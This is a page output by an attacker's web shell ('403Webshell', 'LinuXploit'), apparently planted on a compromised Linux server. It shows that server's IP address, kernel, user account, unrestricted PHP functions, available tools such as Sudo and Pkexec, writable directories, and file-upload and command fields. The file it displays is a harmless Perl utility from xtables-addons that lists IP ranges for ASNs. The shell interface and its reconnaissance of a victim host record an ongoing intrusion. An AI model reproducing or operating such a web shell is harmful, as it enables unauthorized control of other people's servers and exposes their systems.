403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/xtables-addons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/xtables-addons/xt_asn_fetch
#!/usr/bin/perl
#
#	Utility to query GeoIP database
#	Copyright Philip Prindeville, 2018
#	Adapted for ASN database, D. Stussy, 2019
#
use Getopt::Long;
use Socket qw(AF_INET AF_INET6 inet_ntop);
use warnings;
use strict;

sub AF_INET_SIZE() { 4 }
sub AF_INET6_SIZE() { 16 }

my $target_dir = ".";
my $ipv4 = 0;
my $ipv6 = 0;

&Getopt::Long::Configure(qw(bundling));
&GetOptions(
	"D=s" => \$target_dir,
	"4"   => \$ipv4,
	"6"   => \$ipv6,
);

if (!-d $target_dir) {
	print STDERR "Target directory $target_dir does not exit.\n";
	exit 1;
}

# if neither specified, assume both
if (! $ipv4 && ! $ipv6) {
	$ipv4 = $ipv6 = 1;
}

foreach my $asn (@ARGV) {
	if ($asn !~ m/^([1-9][0-9]*)$/) {
		print STDERR "Invalid ASN '$asn'\n";
		exit 1;
	}

	my $file = $target_dir . '/' . uc($asn) . '.iv4';

	if (! -f $file) {
		printf STDERR "Can't find data for ASN '$asn'\n";
		exit 1;
	}

	my ($contents, $buffer, $bytes, $fh);

	if ($ipv4) {
		open($fh, '<', $file) || die "Couldn't open file '$file'\n";

		binmode($fh);

		while (($bytes = read($fh, $buffer, AF_INET_SIZE * 2)) == AF_INET_SIZE * 2) {
			my $start = inet_ntop(AF_INET, substr($buffer, 0, AF_INET_SIZE));
			my $end = inet_ntop(AF_INET, substr($buffer, AF_INET_SIZE));
			print $start, '-', $end, "\n";
		}
		close($fh);
		if (! defined $bytes) {
			printf STDERR "Error reading file for ASN '$asn'\n";
			exit 1;
		} elsif ($bytes != 0) {
			printf STDERR "Short read on file for ASN '$asn'\n";
			exit 1;
		}
	}

	substr($file, -1) = '6';

	if ($ipv6) {
		open($fh, '<', $file) || die "Couldn't open file '$file'\n";

		binmode($fh);

		while (($bytes = read($fh, $buffer, AF_INET6_SIZE * 2)) == AF_INET6_SIZE * 2) {
			my $start = inet_ntop(AF_INET6, substr($buffer, 0, AF_INET6_SIZE));
			my $end = inet_ntop(AF_INET6, substr($buffer, AF_INET6_SIZE));
			print $start, '-', $end, "\n";
		}
		close($fh);
		if (! defined $bytes) {
			printf STDERR "Error reading file for ASN '$asn'\n";
			exit 1;
		} elsif ($bytes != 0) {
			printf STDERR "Short read on file for ASN '$asn'\n";
			exit 1;
		}
	}
}

exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit